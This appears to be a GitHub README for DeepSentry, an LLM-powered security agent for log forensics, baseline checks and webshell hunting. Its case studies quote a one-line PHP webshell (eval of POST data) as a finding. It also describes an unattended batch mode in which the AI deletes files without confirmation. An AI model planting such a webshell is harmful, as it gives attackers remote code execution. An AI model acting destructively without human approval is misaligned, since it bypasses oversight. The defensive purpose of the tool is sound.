🛡️ DeepSentry ------ 深海哨兵
"让 AI 成为你的红蓝对抗伙伴与运维专家。"
Your AI-powered Security Agent for Local & Remote Auditing.
功能特性 • 实战案例 • 快速开始 • 项目架构• 安全说明
项目地址：点击访问
📖 项目简介
DeepSentry 是由 Hx0 战队 研发的一款智能化安全排查与运维 Agent。
它不仅仅是一个自动化脚本，更是一个具备逻辑推理能力的"数字队友"。
DeepSentry 内置了基于大语言模型（LLM）的决策大脑，能够理解复杂的自然语言指令，自动拆解安全任务，并在本地环境 或远程主机上执行精准的排查与响应。
它解决了传统安全工具的痛点：
- 🚫 告别死记硬背：无需记忆复杂的 Linux/Windows 命令行参数，直接说人话。
- 🤝 打破环境孤岛 ：无论你是在 Mac 上分析本地文件，还是在 Windows 上管理 Linux 服务器，亦或是进行本地与远程的混合编排（如：从远程下载样本并在本地进行分析），DeepSentry 都能完美胜任。
- 🧠 专家级决策：内置动态风控引擎，自动识别高危操作，让 AI 的每一次执行都安全可控。
✨ 核心特性
- 🧠 智能决策大脑：集成 DeepSeek/OpenAI 等模型，支持自然语言交互。AI 会根据你的意图自动编写 Shell/Python 脚本并执行。
- 🌐 跨平台原生支持：完美运行于 Windows (自动处理 GBK 乱码)、macOS 和 Linux。
- 🎯 混合执行引擎 ：支持 本地模式 (Local) 直连和 远程模式 (SSH) 无感切换。
- 🌉 本地/远程协同 (Bridge) ：AI 可自主决定何时使用
upload上传工具到服务器，或使用download将日志/样本取回本地进行深层分析。 - 🛡️ 动态风控系统 ：内置命令风险评估引擎。
ls、ps等低风险命令自动执行；rm、kill等高危命令需人工确认。 - 📝 全自动审计报告：自动生成 Markdown 格式的审计报告，包含 AI 的思考路径 (Thought)、执行的命令 (Command) 及最终结论，支持时间戳回溯。
⚡️ 实战案例
以下案例均来自 DeepSentry 真实运行日志，展示了 AI 如何处理复杂的安全需求。
场景一：日志取证与威胁情报关联
需求：在海量日志中找出攻击源，并关联地理位置信息。
User: "检查系统的 /var/log/auth.log，帮我找出过去 24 小时内所有登录失败超过 5 次的 IP 地址TOP 10，并统计归属地。"
🤖 AI 思考与执行:
- 逻辑拆解 : 检查文件存在性 ->
grep筛选时间与失败字段 ->awk/sort统计 Top 10 ->curl调用 IP 库查询归属地。 - 执行结果 (自动生成):
💡 价值: AI 自动完成了一整套应急响应流程，发现攻击源高度集中在罗马尼亚，为封禁策略提供了直接依据。
场景二：系统脆弱性扫描与加固
需求：快速排查系统层面的配置缺陷。
User: "扫描当前系统是否存在空口令用户，检查 UID 为 0 的账户，并查看防火墙是否开放了高危端口（如 445, 3389）。"
🤖 AI 思考与执行:
- 多维排查 : 检查
/etc/shadow空字段 -> 检查/etc/passwdUID -> 检测ufw/iptables状态 -> 使用ss扫描监听端口。 - 执行结果 (自动生成):
💡 价值 : 一句话替代繁琐的基线核查脚本。AI 不仅能机械地列出信息，还能根据安全常识自动判断"风险等级"，并关联账户与网络状态，直接给出运维视角的整改建议。
场景三：CTF 辅助与跨平台协同
需求：将本地文件上传至靶机并自动解题。
User: "帮我把本机的flag.txt上传到服务器的/tmp目录下并进行解出这道题目"
🤖 AI 思考与执行:
- 环境感知 : 识别本机为 macOS，使用
local_run ls确认文件。 - 上传协同 : 使用
upload将文件传输至 Linux 靶机。 - 智能解密: 读取文件内容 -> 识别为 Base64 编码 -> 自动解码。
💡 价值 : 展示了 DeepSentry 强大的跨平台上下文感知能力 （Mac端与Linux端命令自动切换）以及自动化解题能力。
场景四：Webshell 隐蔽后门狩猎
需求：在 Web 目录中寻找可能被攻击者植入的混淆后门，并进行自动化处置。
User: "在 /var/www/html 目录帮我分析里面有没有可疑的webshell文件。"
🤖 AI 思考与执行:
- 初步尝试 : 使用
find结合grep搜索eval,base64_decode等危险函数。
- AI 发现 : 扫描结果包含大量误报（如
jquery.uploadify和 CMS 核心文件）。
- 策略调整 (Pivot) : AI 分析认为基于签名的搜索噪声太大，决定转向行为分析------查找最近 30 天内被修改过的 PHP 文件。
- Command :
find ... -mtime -30 ...
- 锁定目标 : 发现可疑文件
/var/www/html/protected/apps/member/hacker.php。 - 取证分析: 读取文件内容进行确认。
- Result :
<?php @eval($_POST['hacker']); ?>(确认为一句话木马)。
- 自动处置: 在 Batch 模式下，AI 决定立即删除威胁。
- Command :
rm .../hacker.php
智能研判:
💡 价值: 超越传统的正则匹配查杀。AI 能理解代码逻辑，有效识别变形木马，是应急响应中快速止损的利器。
🚀 快速开始
1. 下载与安装
确保您的机器已安装 Go 1.20+ 环境。
bash
# 克隆项目
git clone https://github.com/asaotomo/DeepSentry.git
cd DeepSentry
# ⚠️ [中国大陆用户必选] 配置 Go 代理，防止依赖下载失败
go env -w GOPROXY=[https://goproxy.cn](https://goproxy.cn),direct
# 整理并下载依赖 (这一步显式下载所有包)
go mod tidy
# 编译 (支持 Mac/Linux/Windows)
go build -o deepsentry cmd/main.go
# (可选) Windows 用户如果是 CMD 环境，建议编译为 exe
# go build -o deepsentry.exe cmd/main.go2. 初始化配置
首次运行，DeepSentry 会启动交互式向导，引导您配置 API 和连接信息：
bash
./deepsentry -init- AI 配置: 支持 DeepSeek (推荐)、OpenAI、或本地 Ollama。
- SSH 配置 : 可选。若不配置则默认在本地模式运行。
3. 开始使用
直接运行并输入需求，或通过参数指定：
bash
# 查看帮助
./deepsentry -h
bash
#交互模式
./deepsentry
bash
#命令行参数模式
./deepsentry 帮我查询服务器的版本信息
bash
# 无人值守模式，AI生成的任何命令不受限制，可能有风险 (Batch)
./deepsentry -batch "帮我整理一下/tmp目录下的文件，并归类到对应文件夹"
📂 项目架构
latex
DeepSentry/
├── cmd/ # 入口文件 (Windows/Unix 兼容处理)
├── config.yaml # 配置文件 (API Key, SSH Host)
├── internal/
│ ├── analyzer/ # [大脑] LLM 交互核心与 Prompt 构造
│ ├── collector/ # [感知] 自动识别 OS (Ubuntu/CentOS/Win/Mac)
│ ├── executor/ # [手脚] 封装 SSH 与 Local 执行器，支持 Upload/Download
│ ├── security/ # [卫士] 风险命令拦截 (CheckRisk)
│ ├── skills/ # [技能] 预置 Go 原生安全函数
│ └── logger/ # [记忆] 生成 Markdown 审计报告
└── reports/ # [产出] 存放每一次任务的完整报告⚠️ 安全说明
- 风险控制 : 默认开启风险拦截。高危操作（如删除文件、停止服务）需要您输入
y确认。 - 自我保护: AI 被禁止删除自身的配置文件及报告目录。
- 敏感数据 : 您的 API Key 仅保存在本地
config.yaml中，不会上传至任何第三方服务器。
DeepSentry is proudly crafted by Hx0 Team 🇨🇳 Code with passion, secure with intelligence.